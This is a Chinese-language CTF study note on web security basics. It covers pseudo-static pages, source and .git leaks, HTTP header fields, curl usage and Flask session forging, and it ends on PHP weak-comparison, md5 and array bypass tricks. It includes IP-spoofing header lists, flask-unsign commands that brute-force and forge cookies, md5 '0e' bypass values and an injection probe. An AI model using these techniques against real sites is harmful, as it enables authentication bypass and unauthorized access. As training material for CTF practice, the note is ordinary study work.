WEB基础

WEB基础

一、web概念

1、页面类型

我们访问的网站页面,有几种不同的类型:

  • 静态页面:静态页面是在服务器上预先创建好并保存在文件中的网页,它的内容在用户请求时直接传输给用户,不涉及服务器端的数据处理和生成。当然网页上是可以出现各种视觉动态效果,如GIF动画、Flash动画、滚动字幕、轮播图。而该网站主要是静态化的页面和代码组成,通常由htm、html、shtml等为后缀
  • 动态页面:动态页面并不是具有动画功能的网页,而是页面的内容可以根据不同实际情况进行变化。动态页面是在用户请求时通过服务器端的程序动态生成的,它的内容可以根据用户的请求和其他参数进行实时生成,通常涉及数据库查询和其他后端处理。动态网页一般是以asp、jsp、php、aspx结尾。
  • 伪静态页面:伪静态页面是一种通过在服务器端对URL进行重写或使用缓存技术,使得看起来像是静态页面的一种技术。实际上,这些页面在每次请求时可能会有一些动态生成的部分,但相对于完全动态页面,其变化频率较低。

2、伪静态

基础概念

伪静态URL:看起来像是静态网页的URL,但实际上是由服务器动态生成的。例如,http://example.com/article/123 看起来像是一个静态页面,但实际上是通过PHP脚本动态生成的。

URL重写:通过服务器配置(如Apache的.htaccess文件或Nginx的配置文件),将用户请求的URL重写为实际的动态处理脚本。

实现方法

Apache (使用 .htaccess

RewriteEngine On
RewriteRule ^article/([0-9]+)$ article.php?id=$1 [L]

Nginx

location /article {
    rewrite ^/article/([0-9]+)$ /article.php?id=$1 break;
}

​ 通过上述的重写规则,用户访问 http://example.com/article/123 时,实际上会被服务器处理为 http://example.com/article.php?id=123

二、信息泄露

1、PHPInfo信息泄漏

漏洞描述:

phpinfo()函数返回的信息中包含了服务器的配置信息,包括:

  • 1)PHP编译选项以及文件扩展名的相关信息;
  • 2)php的版本信息
  • 3)php的配置信息;
  • 4)数据库信息;等敏感信息。这些敏感信息会帮助攻击者展开进一步的攻击。

修复方案:

​ 建议限制此类脚本的访问权限或者删除对phpinfo()函数的调用:修改php.ini文 件 中 的 disable_functions 配 置 项 , 把 ‚ phpinfo ‛ 添 加 到 清 单 中 :disable_functions=phpinfo(备注:如果要禁用多个函数,函数名之间用逗号隔开)

2、后台文件泄露

phps文件

​ phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型( 使用御剑等扫描器,发现还可以有index.phps文件,访问index.phps)

(php中www文件夹表示的是服务器的根目录,也就是站点的位置,即一个网页被访问的根目录,www下存放的是网站程序源码。)

vim产生的备份文件和临时文件

  • 当使用vim编程后,会生成一个带的备份文件。某些情况可以尝试,下载index.php
  • 当vim编辑未正常退出时,会生成一个带.swap的临时文件,可尝试下载/upload/.download.php.swp
  • swp文件放于linux中进行修复。vim -r index.php.swp

扫描器

源码放于web目录下就很容易发生网站源码泄露。(可用御剑等扫描)

  • 常见网站源码备份后缀:.tar .tar.gz .zip .rar
  • 常见网站源码备份文件名:web,website,backup,back,www,wwwroot,temp
  • 如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” 尝试在URL后面,依次输入常见的文件备份扩展名。

Git泄露

Git 源码泄露:

​ .git文件是开发人员在开发过程中使用 Git(分布式版本控制系统)做开发时产生的隐藏目录,该文件包含一些版本信息和网站源码,数据库信息等敏感信息。开发人员使用 git 进行版本控制,对站点自动部署。但如果配置不当,可能会将 .git 文件夹直接部署到线上环境,这就引起了 git 泄露漏洞,我们可以通过 .git文件恢复网站源码,来获取一些敏感信息。

​ 当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。

详细信息

#git是分布式版本控制系统,记录每次文件的改动
工具:githack
python GitHack.py http://www.openssl.org/
#自动扫描git文件,并保存到本地

3、版本控制泄露

描述

​ 在实际的开发过程中,我们会用到两个工具来进行版本控制和代码托管,它们分别是git和svn。而在CTF中我们主要面对的就是git或svn的版本控制泄露。

(1)在使用 SVN 管理本地代码过程中,会自动生成一个名为.svn 的隐藏文 件夹,其中包含重要的源代码信息 /.svn/entries

(2)使用 git 进行版本控制,对站点自动部署。如果配置不当,可能会 将.git 文件夹直接部署到线上环境。这就引起了 git 泄露漏洞 /.git/config,在发布代码的时候,如果.git这个目录没有删除,直接发布了使用这个文件,可以用来恢复源代码,这造成git泄露。

原文链接:https://blog.csdn.net/SENMINGya/article/details/131927342

4、robots协议

描述:robots协议

利用方法:robots协议是网站对爬虫的协议,里面说明了哪些内容时不容许爬取的,在网站url中查看robots.txt文件就可以查看协议内容

三、图解HTTP

学习资料:

1、HTTP状态码

1~~ 消息
2~~ 成功
3~~ 重定向
4~~ 客户端错误
5~~ 服务器错误
重定向:状态代码是302

比如:从index.php重定向至1.php
查看网络结构:

image-20240303164538432

2、HTTP报文

​ HTTP报文是由多行(CR+LF作换行符)数据构成的字符串文本,HTTP报文可以分为报文首部和报文主体两部分,两者起初是由(CR+LF)划分的,通常并不一定有报文主体。

报文结构图:

image-20241004215438489

​ HTTP报文中的请求报文响应报文在结构上都是:报文首部+空行+报文主体。但是在报文内的各种首部字段有所区别。

请求报文的内容信息:

请求头的常见字段信息

响应头的常见字段信息

实例:

3、请求字段详解

Date

HTTP 请求头中的 Date 字段包含了服务器响应的日期和时间,以 GMT(格林威治标准时间)格式表示。PHP 中的一个超全局变量$_SERVER['HTTP_DATE']可以获取该值,如果请求没有包含这个字段,$_SERVER['HTTP_DATE'] 将不会被设置,或者可能为 null

Date 字段的格式遵循 RFC 1123 标准。它通常表示为以下格式:

Day, DD Mon YYYY HH:MM:SS GMT
  • Day: 一周中的某一天,通常用三字母表示(如 MonTue)。
  • DD: 两位数字表示的日期(01 到 31)。
  • Mon: 月份的三字母缩写(如 JanFebMar 等)。
  • YYYY: 四位数字表示的年份。
  • HH: 两位数字表示的小时(00 到 23)。
  • MM: 两位数字表示的分钟(00 到 59)。
  • SS: 两位数字表示的秒钟(00 到 59)。
  • GMT: 表示时间为格林威治标准时间(GMT)。

例如,2024年8月20日0点0分的 Date 字段格式应为:

Tue, 20 Aug 2024 00:00:00 GMT

User-Agent

User-Agent 字段有一定的格式,通常包括以下几个部分:

  1. 应用程序名称:表明客户端软件的名称,比如浏览器或爬虫的名称。
  2. 版本号:表示客户端软件的版本。
  3. 操作系统信息:说明客户端运行的操作系统及其版本。
  4. 其他信息:可能包括设备类型、引擎信息等。

一个典型的 User-Agent 示例:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
  • Mozilla/5.0 表示兼容性(历史原因每个浏览器都有这个信息)。
  • (Windows NT 10.0; Win64; x64) 表明操作系统信息。
  • AppleWebKit/537.36Chrome/91.0.4472.124 提供了引擎和浏览器的版本。

Content-Type

​ Content-Type的值通常由两个部分组成,第一个部分是媒体类型,第二个部分是媒体子类型,两者之间用斜杠(/)分隔。例如,常见的Content-Type值有:

text/html:表示HTML文档;
application/json:表示JSON数据;
image/png:表示PNG格式的图片;
audio/mpeg:表示MP3格式的音频。

​ Content-Type头部字段还可以包含参数,用于指定编码方式、语言等相关信息。例如,Content-Type头部字段可以包含charset参数,指定字符编码方式,如:

Content-Type: text/html; charset=UTF-8

From

在HTTP请求中,From头字段用于指示发起请求的用户的电子邮件地址。该字段主要用于记录和跟踪,不用于身份验证或授权。

一般来说,From字段的值应该是一个电子邮件地址,例如:

From: user@example.com 

Via

​ Via是HTTP头部字段之一,它用于表示代理服务器和客户端之间的中间代理节点。当请求通过多个代理服务器传输时,每个代理服务器都会向请求头部添加一个Via字段,其中包含了代理服务器的相关信息,如服务器名称、版本号等等。这样,接收到请求的服务器就能够了解请求的路径,以及经过的中间代理节点的信息。

4、 上传文件

设置请求头

​ 在上传文件时,通常需要设置 Content-Typemultipart/form-data。这是因为文件上传需要将文件与其他表单数据一起发送。

Content-Type: multipart/form-data;

设置分隔符

boundary 是一个特殊的字符串,用于分隔 multipart/form-data 请求体中的不同部分,具体来说,它标识了各个表单字段之间的边界,使得服务器能够正确解析请求体。服务器根据 boundary 来解析请求体,提取出每个字段及其内容。

Content-Type 头部中,boundary 通常以 -- 开头,后面跟随一个唯一的字符串。例如:

Content-Type: multipart/form-data; boundary=--------------------------boundary

boundary 没有严格的长度要求

构建请求体

请求体会包含文件和其他字段的信息。格式类似于:

--boundary
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain

(这里是文件内容)
--boundary--
  • 每个部分都以 --boundary 开始。
  • 最后一部分则以 --boundary-- 结束,表示请求体的结束。

完整格式

例如:

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=--------------------------7d9c2f8b9b70

--------------------------7d9c2f8b9b70
Content-Disposition: form-data; name="file1"; filename="example1.txt"
Content-Type: text/plain

(这里是文件内容)
--------------------------7d9c2f8b9b70
Content-Disposition: form-data; name="file2"; filename="example2.txt"
Content-Type: text/plain

(这里是文件内容)
--------------------------7d9c2f8b9b70--

5、其他

问:某些页面要求你必须要通过http://www.xxxx.com进行访问?
答:增加一个referer字段
Referrer:http://www.xxxx.com (题目要求的url)

使用X-Forwarded-For来伪造ip
问:题目要求必须是某个ip地址如1.1.1.1,才允许访问。
答:增加一个X-Forwarded-For字段
X-Forwarded-For:1.1.1.1
其他:X-Real-IP: 127.0.0.1
区别是:
X-Forwarded-For:是用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中并且用逗号分隔。
X-Real-IP:一般只记录真实发出请求的客户端IP //极客大挑战2024 ez_http
常用请求伪装头:
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1 //xyctf用过
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

    
使用User-Agent:伪造代理
问:某些题目要求必须使用某个浏览器如HAHA浏览器,才允许访问。
答:增加User-Agent字段
User-Agent:HAHA

问:页面要求必须要安装了.net 9.0版本了才能访问。
答:修改User-Agent字段
User-Agent:.NET CLR 9
使用Accept-Language修改语言

问:题目要求只能外国人才能访问这个页面。
答:修改Accept-Language字段
Accept-Language: en-US,en;q=0.8
直接查看http协议报头

via协议头
协议版本:代理服务器使用的HTTP协议版本,例如HTTP/1.1。
代理服务器地址:代理服务器的域名或IP地址。
代理服务器端口:代理服务器监听的端口号。
注释:可选项,用于提供额外信息,例如代理服务器的软件和版本。

四、Web渗透工具

1、nslookup

​ nslookup (全称 name server lookup) ,是一个在命令行界面下的网络工具。功能是获得DNS的记录,查询域名解析是否正常,在网络故障时用来诊断网络问题。它有两种模式:交互 & 非交互,进入交互模式在命令行界面直接输入nslookup按回车,非交互模式则是后面跟上查询的域名或者IP地址按回车。一般来说,非交互模式适用于简单的单次查询,若需要多次查询,则交互模式更加适合。

DNS的记录类型

域名解析就是域名到IP地址的转换过程,域名的解析工作由DNS服务器完成。域名解析时会添加解析记录,这些记录有:A记录、AAAA记录、CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发。

详细用法:nslookup

2、Nmap

​ Nmap,即Network Mapper,是Linux下的网络扫描和嗅探工具包。其基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。

详细用法:Nmap

3、curl

​ curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。

语法:curl [option] [url]

常见选项:

-A/--user-agent <string>             设置用户代理发送给服务器
-b/--cookie <name=string/file>    	 cookie字符串或文件读取位置
-c/--cookie-jar <file>               操作结束后把cookie写入到这个文件中
-C/--continue-at <offset>            断点续转
-d 发送 POST 请求的数据体<"a=xx&b=xx">
-D/--dump-header <file>              把header信息写入到该文件中
-e/--referer                         来源网址
-f/--fail                            连接失败时不显示http错误
-o/--output                          把输出写到该文件中
-O/--remote-name                     把输出写到该文件中,保留远程文件的文件名
-r/--range <range>                   检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent                          静音模式。不输出任何东西
-T/--upload-file <file>              上传文件
-u/--user <user[:password]>          设置服务器的用户和密码
-w/--write-out [format]              什么输出完成后
-x/--proxy <host[:port]>             在给定的端口上使用HTTP代理
-X 指定 HTTP 请求的方法<-X GET>
-#/--progress-bar                    进度条显示当前的传送状态

详细用法:curl

五、WEB基础漏洞

会话漏洞

cookie的常规属性

  • Name:Cookie 名称
  • Value:Cookie 存储的值
  • Domain:设置 Cookie 的域
  • Path:Cookie 适用的路径
  • Expires/Max-Age:Cookie 的到期时间或存活时长
  • Secure:如果 Cookie 仅通过 HTTPS 发送,表明它是安全 Cookie
  • HttpOnly:如果设置了该属性,表示该 Cookie 不能通过 JavaScript 访问

前置知识

哈希算法:

​ 哈希算法是一种加密数据的加密算法,其具有单向不可逆的特性。

对称加密:

​ 对数据进行加密,在加密时使用私钥,解密时使用公钥解密。也可以反过来。

数字签名:

​ 数字签名是一种确保信息真实性、完整性和不可否认性的技术。在发送信息时附带该信息的一个哈希值,如果被篡改了,那么哈希值的计算结果就会和原先的不一样。但如果攻击者在修改信息的同时也篡改了哈希值,那么这样的方法失效了。数字签名解决这个问题的方法是通过非对称加密,发送方用私钥加密哈希值,再吧公钥告诉所有人,然后发送加密后的哈希,这样即使攻击者篡改了哈希值,但是不知道私钥也无法再对哈希值进行加密。

  • 签名的 Cookie 是将数据内容与一个密钥结合,通过一个哈希算法(如 HMAC)生成的签名。这个签名确保了 Cookie 的数据未被篡改。
  • 签名的关键点在于它不对 Cookie 的内容进行加密,而是确保内容的一致性和完整性。如果用户尝试修改 Cookie 的内容,签名将不再匹配,从而防止数据被篡改。
  • 特点:仅用于验证数据的完整性(防篡改),数据仍然是明文存储在客户端。

例如:

# cookie信息为:
{"username":"admin","is_admin":1}
# base64加密
eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjF9
#Base64 编码的主要作用并不是为了加密数据,而是为了 便于存储和传输,尤其是当数据需要在 URL 或 Cookie 中传输时,Base64 编码能将二进制数据转换为字符数据,从而避免某些特殊字符(如空格、斜杠等)造成的传输问题。

# 数字签名,密钥为123
flask-unsign --sign --cookie "{'username' : 'admin','is_admin' : 1}" --secret '123'
eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjF9.Z4Dg0A.BntBD2E2w8Mb7C9wbjujLHr6N7k

1.JWT (JSON Web Token) Cookie

  • 简介:JWT 是一种常用于身份认证的标准,它可以作为一个 Cookie 存储在客户端,包含了用户的身份信息和签名。JWT 通常被用于无状态认证。
  • 技术特点:
    • 自包含:JWT 包含所有的用户身份信息,不需要存储在服务器端。
    • 签名保护:JWT 使用加密签名(如 HMAC 或 RSA)保证数据不被篡改。
    • 包含三个部分:Header(头部)、Payload(载荷)、Signature(签名)。
  • 如何识别:
    • JWT 通常是一个包含点(.)分隔的字符串,例如:header.payload.signature。你可以通过观察 Cookie 的值,如果值是这种格式(类似 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NTY3ODkwLCJ1c2VybmFtZSI6IkpvaG4gRG9lIn0.Ct4K0ql90A0D0X3mGFpRcmzhWSoRkzZjIsYBaDNKt9A8)来识别它。

2.Session Cookie (会话 Cookie)

  • 简介:Session Cookie 通常用于存储会话信息,例如用户登录状态。它不会保存任何持久化的信息,而是只在用户的会话中存在。
  • 技术特点:
    • 不带过期时间,通常会在浏览器关闭时自动删除。
    • 存储的可能是用户的会话标识符,而实际的会话数据通常存储在服务器端。
  • 如何识别:
    • 这种 Cookie 的值通常是一个随机生成的字符串(如 PHPSESSID=1234567890abcdef),并且没有明确的过期时间。

session伪造

​ 在 Flask 中,session 默认是基于 SECRET_KEY 来进行加密和签名的。SECRET_KEY 用于确保存储在客户端的 session 数据的完整性和安全性。如果没有提供 SECRET_KEY,Flask 会自动使用一个默认的密钥(这个密钥通常是不安全的)

通过以下方式来设置:

from flask import Flask, session
app = Flask(__name__)
app.secret_key = 'your_secret_key'  # 这会使 session 数据安全

​ 当对数据安全性要求较高时,可以配置将 session 数据存储在服务器端,可以使用扩展来将会话数据保存在服务器上的某个位置,例如 Redis、数据库、文件系统等。这样,只有一个 session ID 被存储在客户端的 cookie 中,真正的会话数据则存在服务器端。

Flask 可以通过 Flask-Session 扩展来实现服务器端存储。常见的存储方式有 Redis、数据库、Memcached 等。

from flask import Flask, session
from flask_session import Session
import redis

app = Flask(__name__)

# 配置使用 Redis 存储 session 数据
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_PERMANENT'] = False
app.config['SESSION_USE_SIGNER'] = True  # 可选:签名 session ID
app.config['SESSION_REDIS'] = redis.StrictRedis(host='localhost', port=6379, db=0)

Session(app)

@app.route('/')
def index():
    session['user'] = 'John Doe'
    return 'Session data is stored on server (Redis)!'

if __name__ == '__main__':
    app.run(debug=True)

​ session伪造一般出现在用cookie存储session数据的情景下,如果使用默认的secert_key可以很容易爆破。而当存在原型链污染时,也可以通过污染app.secret_key变量来获得secert_key。

相关工具与资料

session爆破:

flask-unsign

#查看帮助
flask-unsign
#解码会话Cookies
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
#自动会话抓取功能 传递参数
flask-unsign --decode --server 'https://www.example.com/login'
#暴力破解密钥
flask-unsign --unsign --cookie < cookie.txt  #可以指定文件或者直接用session字符串
#伪造session
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'


[ctfshow-单生杯-ez_inject]

session伪造工具:

使用方法: flask_session_cookie_manager{2,3}.py decode [-h] [-s <字符串>] [-c <字符串>]

可选参数:
	decode/encode		   解码/编码
  -h, --help                显示此帮助信息并退出
  -s <字符串>, --secret-key <字符串>
                            密钥
  -c <字符串>, --cookie-value <字符串>
                            会话 cookie 的值

#例子:
python flask_session_cookie_manager3.py decode -s "baozongwi" -c "eyJpc19hZG1pbiI6MCwidXNlcm5hbWUiOiJ0ZXN0In0.Zzvdhg.lN_Zfg5qKgiNjjU2VZdJGauU4H8"

python flask_session_cookie_manager3.py encode -s 'baozongwi' -t "{'is_admin': 1, 'username': 'test'}"

伪静态

​ “伪静态”顾名思义就是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页被称为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。

测试方法:

对".html"之前的参数加“'”进行判断是否存在注入

http://xxx.xxx.xx.xx:xxx/test.php/id/1'.html

控制台中输入js查看网页最后的更新时间(动态更新的是伪静态)

javascript:alert(document.lastModified)

pyc反编译

pyc反编译的网站

六、CMS漏洞

1、介绍

内容管理系统(Content Management System,CMS)是一种位于WEB前端以及后端之间的软件系统,编辑人员使用内容管理系统来提交、修改、审批、发布内容。

​ cms一般有dedecms(织梦),dzcms,phpweb,phpwind,phpcms,ecshop,dvbbs,siteweaver,aspcms,帝国,zblog,wordpress等。

2、CMS识别工具

御剑WEB指纹识别

kail工具whatweb

安装

$ apt-get install whatweb

扫描单个目标

$ whatweb www.xxx.com

扫描多个目标,并将结果保存在txt

$ whatweb -i xxx --log-brief=111.txt

CmsVulScan

工具集合了多个 github 上的开源 cms 扫描工具的 payload 和匹配规则,使用md5、url、正则进行匹配识别。

3、CmsEasy

​ 该组件是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个 PHP 开发平台。 采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。

公开漏洞

杂项问题

1、字符集

修复乱码

​ 乱码问题通常是由于编码和解码不一致导致的,文本的原始编码与当前解释的编码不匹配,比如:UTF-8编码的文本在其他编码(如GBK或GB2312)下被错误解析

常见的编码格式包括:

  • UTF-8
  • GBK/GB2312
  • ISO-8859-1

Python 修复乱码

# 假设原始的乱码字符串是 encoded_str
encoded_str = "浣犲凡缁忔嬁鍒颁簡閽ュ寵锛屼絾鏄墦寮€閿欎簡闂紝濂藉ソ鎯虫兂锛岃繕鏈变粈涔堜笢瑗挎槸浣犳病鏈夌悊瑙i€忕殑锛?"

# 尝试用 GBK 解码,再用 UTF-8 编码
try:
    # 使用 GBK 解码
    bytes_str = encoded_str.encode('latin1')  # 先将乱码字符串转换为字节
    decoded_str = bytes_str.decode('gbk')      # 再用 GBK 解码
    print(decoded_str)
except Exception as e:
    print("解码失败:", e)

使用文本编辑器

Notepad++ 中,可以通过“编码”菜单选择不同的编码方式来尝试修复乱码

image-20241022153756261

终端字符集

​ 很多时候乱码出现在终端,我们通过修改终端的字符集可以避免这些问题

Windows:

chcp #查看当前代码页

image-20241022154114887

修改为65001表示UTF-8 编码

chcp 65001 #临时将编码更改为 UTF-8

#要永久更改编码,可以修改注册表或使用 Windows Terminal

php漏洞

1、php变量名

	php变量名只能是数字字母下划线,传进去的变量名会将  , +,.,[等符号转换成_,若变量中有. 号,可以用[替换_后,之后的字符不会再被替换成_

例如:

<?php

var_dump($_GET['Jail_by.Happy']);

var_dump($_GET);

image-20240902110625226

image-20240902110703901

2、unicode欺骗

漏洞函数:
strlower()函数 将输入的字符串都变成小写
用ᴬᴰᴹᴵᴺ注册并登录,转化成了admin登录

3、一句话木马

描述:提示

解题方法:使用蚁剑或者冰蝎等 webshell 连接网站上的一句话木马

4、数组key溢出

通过PHP创建关联数组的时候,键值Key如果是数值型(可通过is_numeric()判断)
则会在int有效范围内被自动转换为int型,如果超过int有效范围就会有问题,这就涉及到数组键值Key作为int型时的有效范围判断。
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808 到 9223372036854775807。
一般来说,我们往数组里插入一个值是可以正常插入的,当我们的数组下标key足够大的时候,9223372036854775807,这个时候想要再往里面插入元素,就会报错
例题:
<?php 
$a = $_GET['a'];
if($array[++$a]=1){
    if($array[]=1){
        echo "nonono";
}else{
        echo file_get_contents('../flag');
    }
}
?>
而这一点正是这道题最内层if语句的考点
这时候往里a传参9223372036854775806,要比上面提到的那个数字小1
	因为题目是++$a,先加上1,变成9223372036854775807,然后执行最内层的if时,因为没有地方可以开数组了,就返回NULL,即false,这样一来就可以执行else里的语句

5、预定义变量绕过

题目正则ban了必须要传的参数。

$_SERVER['QUERY_STRING'] #获取get字符串,比如?x=1&y=2中的‘x=1&y=2’
    # 特点: $_SERVER['QUERY_STRING']是不会进行URL解码的

url编码绕过

?%70=whoami  # ?p=whoami

6、REQUEST变量覆盖

$_REQUEST有一个特性,当GET和POST有相同的变量时,匹配POST的变量

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}
waf1($_REQUEST);

8、php弱类型

(MD5、sha1)比较漏洞

<!-- php中"=="是弱类型,会将数据类型转化成相同类型比较,"==="比较严格,会先判断数据类型是否相同在比较内容 -->
特性:
1.int数字比较
<?php
        $a = 100;   //整数
        $b = "100"; //十进制数字符串
        $c = 0b1100100; //二进制数
        $d = 0144;  // 八进制数
        $e = 0x64; //十六进制数
        $f = 1e2; //科学计数
        var_dump($a==$b); //bool(true)
        var_dump($a==$c); //bool(true)
        var_dump($a==$d); //bool(true)
        var_dump($a==$e); //bool(true)
        var_dump($a==$f); //bool(true)
        var_dump($b==$c); //bool(true)
        var_dump($b==$d); //bool(true)
        var_dump($b==$e); //bool(true)
        var_dump($b==$f); //bool(true)
        var_dump($c==$d); //bool(true)
        var_dump($c==$e); //bool(true)
        var_dump($c==$f); //bool(true)
        var_dump($d==$e); //bool(true)
        var_dump($d==$f); //bool(true)
    ?>
2.int和string比较
<?php
/*
“==”的转化规则:从左往右,找数字,遇到字母就停止,并截取字母前的内容,如果没有就视为0
	例如:123abc456 从左往右找到123,遇到a直接去掉a后面的所有内容,所以结果为123
	注意:e后面有数字,表示科学计数法,如1e2表示1乘10的2次方,就是100
*/
?>
3.bool类型的true跟任意字符串可以弱类型相等
<?php
//true和任意字符串弱相等
    $a=true;
	if($a=="ac"){
		echo "yes";
	}
//非空即为真:
FALSE == FALSE
0 == FALSE
0.0 == FALSE
'' == FALSE
'0' == FALSE
array() == FALSE
NULL == FALSE
//绕过array_search()函数,前提是第三个参数没有设置成严格比较true(默认是false弱比较)
	$c=[true];
	if (is_array($c)){
		$d = array_search("DGGJ", $c);
		$d === false?die("no..."):NULL;
		echo "yes";
	}else{
		echo "no";
	}
?>
4.数组绕过
<?php //strcmp比较两个字符串,返回值-1,0,1 分别对应小于,等于,大于
    $password="***************";
    $pass[]="admin"; //strcmp漏洞绕过 php -v <5.3
        if (strcmp($pass, $password) == 0) //函数接受到了不符合的类型,将发生错误,但是还是判断其相等(返回FALSE,相当于0)
        {
            echo "Right!!!login success";
            exit();
        } else 
        {
            echo "Wrong password..";
        }   
?>

5.md5绕过
    
OE绕过:

//md5和sha1弱比较都是利用php解析哈希值以“0E”开头的特性,结果都为0符合参数1的字符串值和参数2的字符串值不相等,但md5值相等。
常见md5绕过:
QNKCDZO
0e830400451993494058024219903391
    
240610708
0e462097431906509019562988736854

s878926199a
0e545993274517709034328855841020

特殊:($a == md5($a))
0e215962017
0e291242476940776845150308577824
    
例如:md5('QNKCDZO') == md5(240610708)
//由于0e开头的字符串会转换为0,所以真正比较的过程会变成下面这样
//    0 == 0

    
数组绕过:
    md5(a[]=1) === md5(b[]=1)
//由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样
    null === null

其他md5函数漏洞:php会自动将十六进制(hex)转换成ascii(字符)
php中的md5(str,bool)函数(第一个填字符串,第二个填ture或者false,代表十六级制或者二进制格式输出)
'ffifdyop'该字符串转换成md5的格式后会变成"76f722736c95d99e921722cf9ed621c"十六进制格式,再转换成ascii,则变成了
 ' or 6....'or永真表达

而在php代码中处理哈希字符串时,会把“0E”开头的哈希值都解析为0,比较时0=0为true绕过
同理使用sha1加密的值为0E开头的字符串有如下:
aaroZmOk,aaK1STfy,aaO8zKZF,aa3OFF9m



image-20230807114021343

9、php强比较

使用php的强比较类型来解析的话,就是除了比较值,也比较类型。弱比较只比较值,不比较类型。

1.方法一:数组绕过 
所以上面的方法就失效了,我们可以使用数组来绕过强比较,因为md5和sha1无法计算数组,但不会报错,会输出null,所以我们可以使用“空类型=空类型,null=null“来绕过强比较的比较类型。
缺陷:将变量的类型变为数组,后面如果是命令执行,例如eval($a)则会报错,因为$a必须是字符串
例如:
<?php
error_reporting(0);
include "flag.php";
$a = $_POST['a'];
$b = $_POST['b'];
if($a !== $b && md5($a) === md5($b)){
    echo $flag;
}
/*
if($a !== $b && sha1($a) === sha1($b)){
    echo $flag;
}
*/
?>
payload:
/* 
在php中,变量名后加个中括号就代表这个变量的值为数组
如: $demo[] = 123;
*/
MD5 and SHA1:a[]=1&b[]=2

2.方法二:PHP内置类来绕过	
用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数,以Error 类为例,我们来看看当触发他的 __toString 方法时,会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(记住要写在同一行才能使报错信息一致)。
    $a=new Error('H3resk1t',1);$b=new Error('H3resk1t',2);
$a 和 $b 这两个对象本身是不同的,但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7
    
3.强碰撞
在PHP中,如果将数组强制转换为字符串,实际上会得到一个字符串 "Array"。
<?php
    error_reporting(0);
    include "flag.php";
    $a = $_POST['a'];
    $b = $_POST['b'];
    if((string)$a !== (string)$b && md5($a) === md5($b)){
        echo $flag;
}
此时方法一和方法二(因为强制转成字符串后都相等)就不适用了,必须是两个不同的字符串且md5加密后的值还相同。
1.建立一个a.txt
2.将这个文件拖到fastcoll_v1.0.0.5.exe上,等于使用fastcoll打开它。
3.fastcoll会自动生成两个文件:
4.这两个文件内容不同,但是md5值是相同的。然后我们写一个php脚本根据生成的文件生成碰撞的字符串
<?php
function readmyfile($path)
{
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
$a = urlencode(readmyfile("C:/Users/13700/Documents/笔记/工具/web工具/fastcoll_v1.0.0.5.exe/a_msg1.txt"));
$b = urlencode(readmyfile("C:/Users/13700/Documents/笔记/工具/web工具/fastcoll_v1.0.0.5.exe/a_msg2.txt"));
if (md5((string) urldecode($a)) === md5((string) urldecode($b))) {
    echo $a;
}
if (urldecode($a) != urldecode($b)) {
    echo $b;
}
5.开启xmapp服务,进入本地页面,查看代码运行结果,得到两个字符串就是a和b的值
    
    链接:https://www.cnblogs.com/ping-ka/p/17429252.html

image-20240202132630871

10、变量覆盖

用传参值代替源代码中的变量值

# extract(array,extract_rules,prefix)函数,传递一个数组,创建若干变量,使用数组键名作为变量名,使用数组键值作为变量值,如果变量存在则覆盖
<?php
$a = "Original"; # 变量值,之后会被覆盖
